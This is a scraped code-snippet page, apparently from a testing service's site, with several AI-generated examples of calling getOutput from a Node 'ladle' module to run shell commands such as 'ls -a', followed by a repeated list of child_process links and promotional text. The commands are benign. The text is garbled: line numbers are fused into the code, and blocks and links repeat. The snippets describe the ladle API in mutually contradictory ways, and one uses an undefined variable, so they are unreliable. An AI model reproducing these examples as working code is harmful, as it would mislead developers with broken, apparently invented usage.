1var ladle = require('ladle');2var ladleObj = new ladle.Ladle('node', ['index.js']);3ladleObj.getOutput(function(err, output) {4 console.log(output);5});6console.log('Hello World!');7Recommended Posts: Node.js | child_process.spawn() method8Node.js | child_process.exec() method9Node.js | child_process.execFile() method10Node.js | child_process.execSync() method11Node.js | child_process.execFileSync() method12Node.js | child_process.fork() method13Node.js | child_process.spawnSync() method14Node.js | child_process.spawn() method15Node.js | child_process.exec() method16Node.js | child_process.execFile() method17Node.js | child_process.execSync() method18Node.js | child_process.execFileSync() method19Node.js | child_process.fork() method20Node.js | child_process.spawnSync() method21Node.js | child_process.spawn() method22Node.js | child_process.exec() method23Node.js | child_process.execFile() method24Node.js | child_process.execSync() method25Node.js | child_process.execFileSync() method26Node.js | child_process.fork() method27Node.js | child_process.spawnSync() method28Node.js | child_process.spawn() method29Node.js | child_process.exec() method30Node.js | child_process.execFile() method31Node.js | child_process.execSync() method32Node.js | child_process.execFileSync() method33Node.js | child_process.fork() method34Node.js | child_process.spawnSync() method35Node.js | child_process.spawn() method36Node.js | child_process.exec() method37Node.js | child_process.execFile() method38Node.js | child_process.execSync() method39Node.js | child_process.execFileSync() method40Node.js | child_process.fork() method41Node.js | child_process.spawnSync() method42Node.js | child_process.spawn() method43Node.js | child_process.exec() method44Node.js | child_process.execFile() method45Node.js | child_process.execSync() method

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2ladleInstance.getOutput(function(output) {3 console.log(output);4});5var ladle = require('ladle');6ladleInstance.getOutput(function(output) {7 console.log(output);8});9var ladle = require('ladle');10ladleInstance.getOutput(function(output) {11 console.log(output);12});13var ladle = require('ladle');14ladleInstance.getOutput(function(output) {15 console.log(output);16});17var ladle = require('ladle');18ladleInstance.getOutput(function(output) {19 console.log(output);20});21var ladle = require('ladle');22ladleInstance.getOutput(function(output) {23 console.log(output);24});25var ladle = require('ladle');26ladleInstance.getOutput(function(output) {27 console.log(output);28});29var ladle = require('ladle');30ladleInstance.getOutput(function(output) {

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('./ladle.js');2var ladleObj = new ladle();3var output = ladleObj.getOutput('ls -a');4console.log(output);5var ladle = require('./ladle.js');6var ladleObj = new ladle();7var output = ladleObj.getOutput('ls -a', function(err, output){8 console.log(output);9});10var ladle = require('./ladle.js');11var ladleObj = new ladle();12var output = ladleObj.getOutput('ls -a', function(err, output){13 console.log(output);14});15var ladle = require('./ladle.js');16var ladleObj = new ladle();17var output = ladleObj.getOutput('ls -a', function(err, output){18 console.log(output);19});20var ladle = require('./ladle.js');21var ladleObj = new ladle();22var output = ladleObj.getOutput('ls -a', function(err, output){23 console.log(output);24});25var ladle = require('./ladle.js');26var ladleObj = new ladle();27var output = ladleObj.getOutput('ls -a', function(err, output){28 console.log(output);29});30var ladle = require('./ladle.js');31var ladleObj = new ladle();32var output = ladleObj.getOutput('ls -a', function(err, output){33 console.log(output);34});

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2var ladleObj = new ladle.Ladle('node', ['test.js']);3ladleObj.getOutput(function(err, output) {4console.log(output);5});6Your name to display (optional):7Your name to display (optional):8var exec = require('child_process').exec;9exec('ls -l', function (error, stdout, stderr) {10console.log(stdout);11});12Your name to display (optional):13You can use the execSync() method of the ...READ MORE

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2var ladleObj = ladle.createLadle('node', ['test1.js'], { cwd: 'path/to/test1.js' });3ladleObj.getOutput(function (err, output) {4 if (err) {5 console.log(err);6 } else {7 console.log(output);8 }9});10console.log('test1.js running');11console.log('test1.js done');12var ladleObj = ladle.createLadle('node', ['test1.js'], { cwd: 'path/to/test1.js' });13ladleObj.getOutput(function (err, output) {14 if (err) {15 console.log(err);16 } else {17 console.log(output);18 }19 process.exit();20});

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2var ladleObject = ladle.createLadle();3var command = 'ls';4var args = ['-a'];5var callback = function(error, output) {6 if(error) {7 console.log('Error: ' + error);8 }9 else {10 console.log('Output: ' + output);11 }12};13ladleObject.getOutput(command, args, callback);14var ladle = require('ladle');15var ladleObject = ladle.createLadle();16var command = 'ls';17var args = ['-a'];18var options = {cwd: '/home'};19var callback = function(error, output) {20 if(error) {21 console.log('Error: ' + error);22 }23 else {24 console.log('Output: ' + output);25 }26};27ladleObject.getOutput(command, args, options, callback);28var ladle = require('ladle');29var ladleObject = ladle.createLadle();30var command = 'ls';31var args = ['-a'];32var options = {cwd: '/home'};33var callback = function(error, output) {34 if(error) {35 console.log('Error: ' + error);36 }37 else {38 console.log('Output: ' + output);39 }40};41ladleObject.getOutput(command, args, options, callback);42var ladle = require('ladle');43var ladleObject = ladle.createLadle();44var command = 'ls';45var args = ['-a'];46var options = {cwd: '/home'};47var callback = function(error, output) {48 if(error) {49 console.log('Error: ' + error);50 }51 else {52 console.log('Output: ' + output);53 }54};55ladleObject.getOutput(command, args, options, callback);56var ladle = require('ladle');

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2var ladleObj = ladle.createLadle();3var command = "ls -l";4var options = {5};6var callback = function (err, res) {7 console.log("Error: " + err);8 console.log("Result: " + res);9};10ladleObj.getOutput(command, options, callback);

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run ladle automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful